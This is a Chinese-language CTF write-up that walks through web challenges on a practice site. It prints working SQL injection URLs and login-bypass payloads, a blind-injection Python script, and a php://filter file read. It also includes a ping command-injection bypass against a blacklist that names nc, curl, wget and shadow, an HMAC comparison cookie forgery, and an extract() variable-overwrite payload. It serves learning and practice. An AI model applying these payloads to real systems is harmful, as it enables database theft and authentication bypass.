找到一个新的题库,正好来玩一波,不过就是湾湾的服务器,连接速度确实有一点感人,不过这里的题和pico很像从易到难都有,逐步递进

前言

找到一个新的题库,正好来玩一波,不过就是湾湾的服务器,连接速度确实有一点感人,不过这里的题和pico很像从易到难都有,逐步递进

正式开始

hide and seek

不多说直接看了一波源码
hackme-1

guestbook

根据题目意思肯定是一个sql注入了,比较sqlmap都出来了,本来想用sqlmap跑的,但是这个服务器连接速度太感人了,最后还是手动
hackme-2
看上去非常像是一个xss,fuzz失败
hackme-3
观察url,进行简单fuzz

1
2
3
4
5
6
7
8
9
10
https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,3,4--+
//2,3,4都是回显点
https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,database(),4--+
//找到数据库g8,虽然直接用database()也行
https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,group_concat(table_name),4 from information_schema.tables where table_schema=database()--+
//找到表flag
https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name='flag'--+
//找到flag列
https://hackme.inndy.tw/gb/?mod=read&id=-1%20union%20select%201,2,group_concat(flag),4 from flag
//找到FLAG

LFI

题目就是提示,还给了一个php://filter太明显了
查看源码
hackme-4

看到了flag的位置,直接读一波

1
2
3
4
5
6
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag
Q2FuIHlvdSByZWFkIHRoZSBmbGFnPD9waHAgcmVxdWlyZSgnY29uZmlnLnBocCcpOyA/Pj8K
//Can you read the flag<?php require('config.php'); ?>再读一波config
https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config
PD9waHAKCiRmbGFnID0gIkZMQUd7WW9vb29vb19MRklfZzAwZF8yY1h4c1hTWVA5RVZMcklvfSI7Cg==
//解码就是结果

homepage

还是之前的页面。。。难道不是和第一题一样,结果试了半天,最后在最后找到了一个奇怪的连接

1
2
3
4
https://hackme.inndy.tw/cute.js
//点开就知道是aaencode

解码出来的js脚本,一看就知道是生成二维码,but生成不出来很气

附上js脚本运行内容
hackme-5
那片空白里就是我们要的二维码,但是那么近又那么远fk!
铁头娃表示,我js看不懂,我tm用excel,还不用补全,由此二维码出现了
hackme-6
扫一扫出二维码

ping

进去直接就是简单的源码展示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
'passwd', 'shadow', 'root',
'z',
'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
'xargs', 'PATH',
'$0', 'proc',
'/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
];

set_time_limit(2);

function ping($ip) {
global $blacklist;

if(strlen($ip) > 15) {
return 'IP toooooo longgggggggggg';
} else {
foreach($blacklist as $keyword) {
if(strstr($ip, $keyword)) {
return "{$keyword} not allowed";
}
}
$ret = [];
exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
return implode("\n", array_slice($ret, 0, 10));
}
}

不难发现没有过滤反引号和ls 先去尝试一下
hackme-7
找到了存在flag.php,但是这时候又怎么办呢,查看的基本都被ban了,更何况连flag和php也被ban了,这时候就想起了梅子酒师傅的一道题目了,可以使用通配符来进行匹配哦

1
`sort xxxxxxxx`(八位就是代表了flag.php)

scoreborad

不得不服了,页面上方的已经是第三个flag了,找了半天,最后在响应头里找到

login as admin 0

直接给出了源码,可以直接审计,下面贴出关键点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
}

$_POST = array_map(safe_filter, $_POST);

$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
$_POST['name'],
$_POST['password']
);

很清楚的可以看出,这里只有一个黑名单和一个引号的转义,这里我们可以使用,这里可以非常简单的绕过,即把\转义掉

1
2
3
4
5
admin\'/**/or/**/1=1#
password = 1

进入之后就会变为 admin' or 1=1#
可以绕过登陆,但是这里我们还是guest

所以我们开始使用limit找一下其他行的数据
在第二行就是我们需要的

1
payload:admin\'/**/or/**/1=1 limit 1,1#

login as admin 0.1

怪不得找到flag,之后说,flag2 在库里,结果这一题和上一题,用的是一个库,源码也是一毛一样,这里我们就用union提取出flag就可以了

1
2
3
4
5
6
name=admin \' union select 1,concat(table_name),3,4  from information_schema.tables where table_schema=database() #&password=123
//得到表名h1dden_f14g
name=admin \' union select 1,concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name=0x68316464656e5f66313467 #&password=123
//这里有一点就是在逗号被过滤的情况下这里转义会导致sql查询出错,所以我们可以直接将表名进行ASCII的八进制编码,前面加上0x,就可以在sql中正常查询了
name=admin \' union select 1,(select the_f14g from h1dden_f14g limit 0,1),3,4 #&password=123
//最后的payload(这里踩了一个雷,子查询好像是不能使用contcat)

login as admin 1

查看源码,对比区别

1
2
3
4
5
6
7
8
9
10
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
strstr($strl, 'union select') || strstr($strl, 'select ')
) {
return '';
}
return str_replace("'", "\\'", $str);
}

这一次吧空格过滤了,还过滤了union select,select这些,不过绕过登陆还是大同小异(好像我上面好像已经是那么绕过的了,套用一下上门的payload)

1
2
admin\'/**/or/**/1/**/limit/**/1,1#
//这里点名过滤1=1所以就用个1

login as admin 1.2

上面的flag告诉我们在里面,和之前的0和0.1一样,虽然这些没有给表的结构,但是我们可以猜测一下

1
name=admin\'/**/union/**/select/**/1,2,3,4#&password=123

hackme-8
很尴尬没有回显,这样我们只能通过盲注进行,附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import string
url='https://hackme.inndy.tw/login1/index.php'
chars = string.digits + string.ascii_letters
tables = ""

for i in range(1,100):
for j in chars:
payload = "admin\\'/**/or/**/(ascii(substr((select table_name/**/from/**/information_schema.tables/**/from where/**/table_schema=database()/**/limit/**/0,1),%s,1))=%s)/**/limit/**/0,1#" % (i, ord(j))
data = {
"name": payload,
"password": "1"
}
r = requests.post(url=url, data=data)
if "You are not admin!" in r.content:
tables += chr(j)
print(tables)
break

login as admin 3

直接给出了源码,看了一下不是sql注入,调出重点慢慢分析

1
2
3
4
5
6
7
8
9
10
$user = load_user();

if(!empty($_POST['name']) && !empty($_POST['password'])) {
$user = false;
foreach($users as $u) {
if($u['name'] === $_POST['name'] && $u['password'] === $_POST['password']) {
set_user($u);
}
}
}

会先调用load_user()函数,之后再判断你是否提交了用户名和密码,如果提交了就调用set_user()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function set_user($user_data)
{
global $user, $secret;

$user = [$user_data['name'], $user_data['admin']];

$data = json_encode($user);
$sig = hash_hmac('sha512', $data, $secret);
$all = base64_encode(json_encode(['sig' => $sig, 'data' => $data]));
setcookie('user', $all, time()+3600);
}

function load_user()
{
global $secret, $error;

if(empty($_COOKIE['user'])) {
return null;
}

$unserialized = json_decode(base64_decode($_COOKIE['user']), true);
$r = hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig'];

if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) {
$error = 'Invalid session';
return false;
}

$data = json_decode($unserialized['data'], true);
return [
'name' => $data[0],
'admin' => $data[1]
];
}

不难看出set_user就是给用户名密码设置一个cookie,load_user就是将cookie解密,最后来判断name和admin这两个参数,这里很重要的一点是

$unserialized['data'], $secret) !
1
2
3
4
5
6
7
8
9
10
11
12
13
```php

function set_user($user_data)
{


$user = ['admin', true];

$data = json_encode($user);
$sig = 0;
$all = base64_encode(json_encode(['sig' => $sig, 'data' => $data]));
echo $all;
}

login as admin 4

直接查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
require('config.php');

if($_GET['show_source'] === '1') {
highlight_file(__FILE__);
exit;
}

if($_POST['name'] === 'admin') {
if($_POST['password'] !== $password) {
// show failed message if you input wrong password
header('Location: ./?failed=1');
}
}

这道题其实是一个脑洞题,因为

```
1
2
```
curl -d "name=admin" https://hackme.inndy.tw/login4/

curl不会跳转,其实用burp抓包也可以,反正就不跳转就好了

login as admin 6

1
2
3
4
5
6
7
8
9
if(!empty($_POST['data'])) {
try {
$data = json_decode($_POST['data'], true);
} catch (Exception $e) {
$data = [];
}
extract($data);
if($users[$username] && strcmp($users[$username], $password) == 0) {
$user = $username;

不难发现这里就是需要你提交一个json数据,这里存在很明显的变量覆盖漏洞

1
data={"users":{"admin":1},"password":1,"username":"admin"}

即可获得flag